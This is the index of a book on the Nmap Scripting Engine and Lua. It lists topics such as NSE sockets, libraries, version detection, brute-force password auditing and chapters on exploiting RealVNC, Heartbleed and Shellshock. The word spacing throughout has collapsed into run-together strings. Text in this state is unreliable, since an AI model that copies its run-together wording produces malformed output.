about/Hosttablehost.osfield/Hosttablehost.ipfield/Hosttablehost.namefield/Hosttablehost.targetnamefield/Hosttablehost.directly_connectedfield/Hosttablehost.mac_addrfield/Hosttablehost.mac_addr_next_hopfield/Hosttablehost.mac_addr_srcfield/Hosttablehost.interface_mtufield/Hosttablehost.bin_ipfield/Hosttablehost.bin_ip_srcfield/Hosttablehost.timesfield/Hosttablehost.traceroutefield/Hosttable

HTMLreportgenerating,forNSEscriptoutput/NSEscriptoutputintheHTMLreport

http-default-accounts/http-default-accountshttp-devframework-fingerprints.luafile

about/http-devframework-fingerprints.luahttp-devframeworkscript

URL,forofficialdocumentation/http-devframework-fingerprints.luahttp-enumdatabase/http-enumdatabasehttp-enumscript

URL,forofficialdocumentation/http-fingerprints.luahttp-fingerprints.luafile

about/http-fingerprints.luahttp-folders.txtfile

about/http-folders.txthttp-iis-webdav-vulnscript

URL,forofficialdocumentation/http-folders.txthttp-slowloris-checkscript/Detectingwebserversvulnerabletoslowdenial-of-serviceattacks

http-slowlorisNSEexploitURL/ConsumingTCPconnectionswithNSE

http-slowlorisscript/Detectingwebserversvulnerabletoslowdenial-of-serviceattackshttp-sql-errors.lstfile

about/http-sql-errors.lsthttp-sql-injectionscript

URL,forofficialdocumentation/http-sql-errors.lsthttp-vhostsscript

URL,forofficialdocumentation/vhosts-default.lsthttp-web-files-extensions.lstfile

about/http-web-files-extensions.lsthttp-wordpress-pluginsscript

URL,forofficialdocumentation/wp-plugins.lsthttpNSElibrary

about/httpURL/http

II/Ooperations,Lua

about/I/Ooperationsfilemodes/Modesfile,opening/Openingafilefile,reading/Readingafilefile,writing/Writingafilefile,closing/Closingafile

if-thenconditionalstatementabout/Conditionalstatements–if-then,else,andelseif

ike-fingerprints.luafileabout/ike-fingerprints.lua

ike-versionscriptURL,forofficialdocumentation/ike-fingerprints.lua

indexes,Lua/Indexesinformationgathering,NSEscripts

about/Information-gatheringUPNPinformation,collecting/CollectingUPNPinformationhostnames,findingforresolvingsameIPaddress/FindingallhostnamesresolvingtothesameIPaddress

installation,Nmap/InstallingNmapio.closefunction/Closingafileio.openfunction/Openingafileio.readfunction/Readingafileio.writefunction/Writingafileipairs()function

about/Loops–forip_send()method/Sendingpacketsto/fromIPandEthernetlayers

JJavaDebugWireProtocoldatafiles

about/JavaDebugWireProtocoldatafilesJDWPExecCmd.java/JDWPExecCmd.javaJDWPSystemInfo.class/JDWPSystemInfo.class

JDWPExecCmd.javafileabout/JDWPExecCmd.java

JDWPSystemInfo.classabout/JDWPSystemInfo.class

LLibpcap

URL/WorkingwithNSEsocketslinkedlists

about/LinkedlistsLua

concepts/QuicknotesaboutLuaparallelismmechanism/ParallelismmechanismsinLua

Lua,conceptscomments/Commentsdummyassignments/Dummyassignmentsindexes/Indexessemantics/Semanticscoercion/CoercionBooleans/Booleansflowcontrolstructures/Flowcontrolstructures,Loops–repeat,Loops–fordatatypes/Datatypesstringhandling/Stringhandlingcommondatastructures/Commondatastructurescustomdatastructures/CustomdatastructuresI/Ooperations/I/Ooperationscoroutine/Coroutinesmetatables/Metatablesandmetamethodsmetamethods/Metatablesandmetamethods

Mmagiccharacters

about/Magiccharactersmastering-nse.com

URL/Usernamedictionariesmetamethods,Lua

about/Metatablesandmetamethodsarithmeticmetamethods/Arithmeticmetamethodsrelationalmetamethods/Relationalmetamethods

mikrotik-routeros-brutescriptURL/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI

MikroTikRouterOSAPIbrute-forcepasswordauditingattacks,scriptingagainst/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI

modbus-discoverscriptabout/NSEscript–modbus-discover

msrpclibrariesdocumentation,URL/DetectingvulnerableWindowssystems

mutexesabout/Mutexescreating/Mutexes

mygroupnames.dbfileabout/mygroupnames.db

mysql-auditscript/DetectinginsecureMySQLserverconfigurationsURL,forofficialdocumentation/mysql-cis.audit

mysql-brutescript/Brute-forcingMySQLpasswordsmysql-cis.auditfile

about/mysql-cis.auditmysql-vuln-cve2012-2122.nsescript

URL/ExceptionhandlinginNSEscripts

NnetworkI/O

about/UnderstandingadvancednetworkI/Osocket,openingforrawpacketcapture/Openingasocketforrawpacketcapturerawpackets,receiving/Receivingrawpacketspackets,sendingto/fromIP/Sendingpacketsto/fromIPandEthernetlayerspackets,sendingto/fromEthernetlayers/Sendingpacketsto/fromIPandEthernetlayers

newscriptsadding/Addingnewscripts

Nmapinstalling/InstallingNmapURL,fordownloading/InstallingNmapbuilding,fromsourcecode/BuildingNmapfromsourcecodeworkingcopy,updating/KeepingNmapuptodateURL/ApplicationsofNSEscriptsparallelismoptions/ParallelismoptionsinNmap

Nmap’slicenseURL,fordocumentation/License

nmap-service-probesfileabout/TakingacloserlookatthefileformatURL/Takingacloserlookatthefileformatdirectivedocumentation,URL/Takingacloserlookatthefileformat

nmap.mutex()function/Mutexesnmap.new_dnet()method/Sendingpacketsto/fromIPandEthernetlayersnmap.new_socket()function

protocol/CreatinganNSEsocketaf/CreatinganNSEsocket

NmapAPIaccesing/AccessingtheNmapAPINSEarguments/NSEargumentsexceptionhandling/ExceptionhandlinginNSEscripts

Nmapdatafilesreferences/OtherNmapdatafiles

Nmapdistributionabout/Othertemplatesonline

Nmapdistribution,templatesURL,fordownloading/Othertemplatesonline

NmapFingerprintSubmitterURL/Updatingtheversionprobesdatabase

nmaplibrariesURL/XMLstructuredoutput

NSEandscanphases/ScanphasesandNSEversiondetectionmode/UnderstandingversiondetectionmodeinNSEabout/NmapScriptingEngineparallelismmechanisms/ParallelismmechanismsinNSEused,forconsumingTCPconnections/ConsumingTCPconnectionswithNSE

NSEargumentshosttable/Hosttableporttable/Porttable

NSEdatafilesabout/OtherNSEdatafilesmygroupnames.db/mygroupnames.dbrtsp-urls.txt/rtsp-urls.txtsnmpcommunities.lst/snmpcommunities.lstssl-ciphers/ssl-ciphersssl-fingerprints/ssl-fingerprintsike-fingerprints.lua/ike-fingerprints.luatftplist.txt/tftplist.txt

NSElibrariesabout/WritingNSElibraries,ExploringotherpopularNSElibrariescreating/WritingNSElibrariesfunctionality,extending/ExtendingthefunctionalityofanNSElibrarybruteNSElibrary/ExtendingthefunctionalityofanNSElibraryNSEmodules,writteninC/C++/NSEmodulesinC/C++URL,fordocumentation/NSEmodulesinC/C++stdnse/stdnseopenssl/openssltarget/targetshortport/shortportcreds/credsvulns/vulns

NSEmoduleswritteninC/C++/NSEmodulesinC/C++

NSEregistryabout/TheNSEregistry

NSEscriptargumentsabout/NSEscriptargumentsloading,fromfile/Loadingscriptargumentsfromafile

NSEscriptsrunning/RunningNSEscriptscategories/Scriptcategoriesselecting/NSEscriptselectionselecting,byscriptname/Selectingbyscriptnameorcategoryselecting,bycategory/Selectingbyscriptnameorcategory

selecting,byfilename/Selectingbyfilenameorfolderselecting,byfolder/Selectingbyfilenameorfolderselecting,withexpressions/Advancedscriptselectionwithexpressionsexecution,forcing/ForcingtheexecutionofNSEscriptsdebugging/DebuggingNSEscriptsrules/NSEscriptrulesapplications/ApplicationsofNSEscriptsfields/UnderstandingthestructureofanNSEscriptexample/AsampleNSEscriptvulnslibrary,using/UsingthevulnslibraryinyourNSEscripts

NSEscripts,fieldsdescription/UnderstandingthestructureofanNSEscriptcategories/UnderstandingthestructureofanNSEscriptaction/UnderstandingthestructureofanNSEscriptexecutionrule/UnderstandingthestructureofanNSEscript

NSEscripts,optionalfieldsauthor/Authorlicense/Licensedependencies/Dependencies

NSEsocketsabout/WorkingwithNSEsocketscreating/CreatinganNSEsocketused,forconnectingtohost/ConnectingtoahostusingNSEsocketsused,forsendingdata/SendingdatausingNSEsocketsused,forreceivingdata/ReceivingdatausingNSEsocketsclosing/ClosingNSEsocketspayloadstoredinfile,sending/Examplescript–sendingapayloadstoredinafileoveraNSEsocketandrawpacket,handling/RawpackethandlingandNSEsockets

NSEthreadsabout/NSEthreadsconditionvariables/Conditionvariablesmutexes/Mutexes

OOpenSSL

URL/SSLopensslNSElibrary

about/opensslURL/openssl

oracle-default-accounts.lstfileabout/oracle-default-accounts.lst

oracle-default-accountsscriptURL,forofficialdocumentation/oracle-default-accounts.lst

oracle-sid-brutescriptURL,forofficialdocumentation/oracle-sids

oracle-sidsfileabout/oracle-sids

output,NSEscriptsNmapstructuredoutput/OutputformatsandNmapScriptingEngineXMLstructuredoutput/OutputformatsandNmapScriptingEngine,XMLstructuredoutputverbositymessages,printing/Printingverbositymessagesdebugginginformation,including/Includingdebugginginformationgrepableoutputformat,limitations/TheweaknessofthegrepableformatHTMLreport,generating/NSEscriptoutputintheHTMLreport

Ppack()method/Packingandunpackingbinarydatapacketlibrary

URL/BuildingEthernetframespackets

sending,to/fromIP/Sendingpacketsto/fromIPandEthernetlayerssending,to/fromEthernetlayers/Sendingpacketsto/fromIPandEthernetlayers

pairs()iteratorfunctionabout/Loops–for

parallelismmechanism,Luacoroutines/Coroutines

parallelismmechanisms,NSEabout/ParallelismmechanismsinNSENSEthreads/NSEthreads

parallelismoptions,Nmapabout/ParallelismoptionsinNmapmultiplehosts,scanningsimultaneously/Scanningmultiplehostssimultaneouslysendprobecount,increasing/Increasingthenumberofprobessenttimingtemplates/Timingtemplates

password-auditing,NSEscriptsabout/PasswordauditingBrute-forcingMySQLpasswords/Brute-forcingMySQLpasswordsBrute-forcingSMTPpasswords/Brute-forcingSMTPpasswords

passworddictionariesabout/Passworddictionaries

passwordlistsreading,withunpwdbNSElibrary/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary

passwords.lstfile/Passworddictionariespatterns

about/Patternscaptures/Capturesrepetitionoperators/Repetitionoperators

pcap_openmethoddeviceparameter/Openingasocketforrawpacketcapturesnaplenparameter/Openingasocketforrawpacketcapturepromiscparameter/Openingasocketforrawpacketcapturebpfparameter/Openingasocketforrawpacketcapture

portrules,versiondetectionscriptdefining/Definingtheportruleofaversiondetectionscript

porttable,NSEarguments

port.numberfield/Porttableport.protocolfield/Porttableabout/Porttableport.servicefield/Porttableport.versionfield/Porttableport.statefield/Porttable

portversioninformationupdating/Updatingtheportversioninformationmatchconfidencelevel,setting/Settingthematchconfidencelevel

post-processorsabout/Gettingtoknowpost-processorsNSE/NmapScriptingEngineSSL/SSL

Qqueues

about/Queues

RRapidSVN

about/BuildingNmapfromsourcecodeURL/BuildingNmapfromsourcecode

rawpacketssocket,openingfor/Openingasocketforrawpacketcapturereceiving/Receivingrawpacketsmanipulating/Manipulatingrawpacketsbinarydata,unpacking/Packingandunpackingbinarydatabinarydata,packing/PackingandunpackingbinarydataEthernetframes,building/BuildingEthernetframeshandling/RawpackethandlingandNSEsocketsandNSEsockets/RawpackethandlingandNSEsockets

RealVNCexploiting/ExploitingRealVNC

receive_buf()methodabout/ReceivingdatausingNSEsocketsdelimiterparameter/ReceivingdatausingNSEsocketskeeppatternparameter/ReceivingdatausingNSEsockets

relationalmetamethodsabout/Relationalmetamethods__eq/Relationalmetamethods__lt/Relationalmetamethods__le/Relationalmetamethods

repeatloopabout/Loops–repeat

repetitionoperatorsabout/Repetitionoperators

rpc-grindscript/NSEscript–rpc-grindrpcGrinderfunction/Conditionvariablesrtsp-url-brutescript

URL,forofficialdocumentation/rtsp-urls.txtrtsp-urls.txtfile

about/rtsp-urls.txtrules,NSEscripts

prerule()/NSEscriptrulespostrule()/NSEscriptrulesportrule(host,port)/NSEscriptruleshostrule()/NSEscriptrules

runningfunction/Mutexes

S—script-argsNmapoption/NSEscriptarguments—scriptoption/NSEscriptselectionsafecategory,NSEscripts

banner/RunningNSEscriptsbroadcast-ping/RunningNSEscriptsdns-recursion/RunningNSEscriptsupnp-info/RunningNSEscriptsfirewalk/RunningNSEscripts

safelanguage,Lua/SafelanguageSameOriginPolicy(SOP)

about/NSEscriptoutputintheHTMLreportscannedports

excluding,fromversiondetection/Excludingscannedportsfromversiondetection

scanphasesandNSE/ScanphasesandNSE

scriptURL/Examplescript–sendingapayloadstoredinafileoveraNSEsocket

semantics,Lua/Semanticsservicedetectionmode

enabling/UnderstandingversiondetectionmodeinNSEsetmetatablefunction/Relationalmetamethodssets

about/Setsset_port_version()function

about/Updatingtheportversioninformation,NSEscript–ventrilo-infoshellshock

exploiting,inwebapplications/ExploitingshellshockinwebapplicationsURL/Exploitingshellshockinwebapplications

shortportNSElibraryabout/shortporthttpfunction/shortportport_or_servicefunction/shortportportnumberfunction/shortportURL/shortport,Definingtheportruleofaversiondetectionscript

SlaveIDs(SIDs)/NSEscript–modbus-discoverSlowloris

URL/Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSlowlorisvulnerability

URL/ConsumingTCPconnectionswithNSEsmblibraries

documentation,URL/DetectingvulnerableWindowssystems

smtp-brutescript/Brute-forcingSMTPpasswordssnmpcommunities.lstfile

about/snmpcommunities.lstsoftmatch/Phasesofversiondetectionsourcecode

Nmap,buildingfrom/BuildingNmapfromsourcecodeSSL

about/SSLssl-ciphersfile

about/ssl-ciphersssl-enum-ciphersscript

URL,forofficialdocumentation/ssl-ciphersssl-fingerprintsfile

about/ssl-fingerprintsssl-known-keyscript

URL,forofficialdocumentation/ssl-fingerprintsstdnse.base()method/Workingwithcoroutinesstdnse.get_script_args()function/NSEscriptargumentsstdnse.new_thread()function/NSEthreadsstdnseNSElibrary

URL/WritingNSElibraries,stdnse,XMLstructuredoutputabout/stdnsestdnse.get_script_argsfunction/stdnsestdnse.debugfunction/stdnsestdnse.verbosefunction/stdnsestdnse.strjoinfunction/stdnsestdnse.strsplitfunction/stdnseverbose()function/Printingverbositymessages

stringhandling,Luaabout/Stringhandlingcharacterclasses/Characterclassesmagiccharacters/Magiccharacterspatterns/Patternsconcatenation/Concatenationsubstrings,finding/Findingsubstringsstringrepetition/Stringrepetitionstringlength,determining/Stringlengthstrings,formatting/Formattingstringsstrings,joining/Splittingandjoiningstringsstrings,splitting/Splittingandjoiningstrings

stringlengthdetermining/Stringlength

stringrepetition/Stringrepetitionstrings

formatting/Formattingstringsjoining/Splittingandjoiningstringssplitting/Splittingandjoiningstrings

substringsfinding/Findingsubstrings

SupervisoryControlAndDataAcquisition(SCADA)/NSEscript–modbus-discover

Ttables

about/TablestargetNSElibrary

about/targetURL/target

targets-snifferscript/ListeningtoyourLANtodiscovertargetsTCPconnections

consuming,withNSE/ConsumingTCPconnectionswithNSEtftp-enumscript

URL,forofficialdocumentation/tftplist.txttftplist.txtfile

about/tftplist.txttimingtemplates

about/Timingtemplatestlslibrary

URL/Exploitingtheinfamousheartbleedvulnerability

UunpwdbNSElibrary

used,forreadingusernames/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryused,forreadingpasswordlists/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryabout/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryusernames()function/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrarypasswords()function/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryURL/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary

usercredentialsmanaging,withcredsNSElibrary/Managingusercredentialsfoundduringscans

usernamedictionariesabout/Usernamedictionaries

usernamesreading,withunpwdbNSElibrary/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary

usernames.lstfile/Usernamedictionaries

Vventrilo-infoscript/NSEscript–ventrilo-infoverbose()function

levelargument/Printingverbositymessagesfmtargument/Printingverbositymessages

verbositymessagesprinting,inNSEscriptoutput/Printingverbositymessages

VersionControlSystem(VCS)/BuildingNmapfromsourcecodeversiondetectionmode,NSE

about/UnderstandingversiondetectionmodeinNSEphases/Phasesofversiondetectionraritylevel,adjustingofversionscan/Adjustingtheraritylevelofaversionscanversionprobesdatabase,updating/Updatingtheversionprobesdatabasescannedports,excluding/Excludingscannedportsfromversiondetectionmatching,withfallbacks/Usingfallbackstomatchotherversionprobespost-processors/Gettingtoknowpost-processors

versiondetectionscanphases/Phasesofversiondetectionraritylevel,adjusting/Adjustingtheraritylevelofaversionscanscannedports,excluding/Excludingscannedportsfromversiondetection

versiondetectionscriptswriting/Writingyourownversiondetectionscriptscategory,defining/Definingthecategoryofaversiondetectionscriptportrule,defining/Definingtheportruleofaversiondetectionscriptportversioninformation,updating/Updatingtheportversioninformationexamples/Examplesofversiondetectionscriptsmodbus-discoverscript/NSEscript–modbus-discoverventrilo-infoscript/NSEscript–ventrilo-inforpc-grindscript/NSEscript–rpc-grind

versionprobesmatching,withfallbacks/Usingfallbackstomatchotherversionprobes

versionprobesdatabaseupdating/UpdatingtheversionprobesdatabaseURL/Updatingtheversionprobesdatabasefileformat/Takingacloserlookatthefileformat

version_port_or_service()function/Definingtheportruleofaversiondetectionscriptvhosts-default.lstfile

about/vhosts-default.lstvulnerability

reporting/Reportingvulnerabilitiesvulnerabilityscanning

about/Vulnerabilityscanning

exploitNSEcategory/TheexploitNSEcategoryRealVNC,exploiting/ExploitingRealVNCvulnerableWindowssystems,detecting/DetectingvulnerableWindowssystemsinfamousheartbleedvulnerability,exploiting/Exploitingtheinfamousheartbleedvulnerabilityshellshockinwebapplications,exploiting/Exploitingshellshockinwebapplications

vulnerabilityscanning,NSEscriptsinsecureMySQLserverconfigurations,detecting/DetectinginsecureMySQLserverconfigurationswebservers,detectingvulnerabletoslowdenial-of-serviceattacks/Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSSLservers,detectingvulnerabletoCVE-2014-3566/DetectingSSLserversvulnerabletoCVE-2014-3566

vulnslibraryusing,inNSEscripts/UsingthevulnslibraryinyourNSEscriptsURL/UsingthevulnslibraryinyourNSEscripts

vulnsNSElibraryabout/vulnsURL/vulns

Wwebapplicationauditingdatafiles

about/Webapplicationauditingdatafileshttp-fingerprints.lua/http-fingerprints.luahttp-sql-errors.lst/http-sql-errors.lsthttp-web-files-extensions.lst/http-web-files-extensions.lsthttp-devframework-fingerprints.lua/http-devframework-fingerprints.luahttp-folders.txt/http-folders.txtvhosts-default.lst/vhosts-default.lstwp-plugins.lst/wp-plugins.lst

webapplicationsshellshock,exploiting/Exploitingshellshockinwebapplications

whileloopabout/Loops–while

WindowssystemsvulnerableWindowssystems,detecting/DetectingvulnerableWindowssystems

wp-plugins.lstfileabout/wp-plugins.lst

XXMLstructuredoutput

example/OutputformatsandNmapScriptingEngineabout/XMLstructuredoutputimplementing/Implementingstructuredoutputinyourscripts

xpathsyntaxURL/Theweaknessofthegrepableformat

top related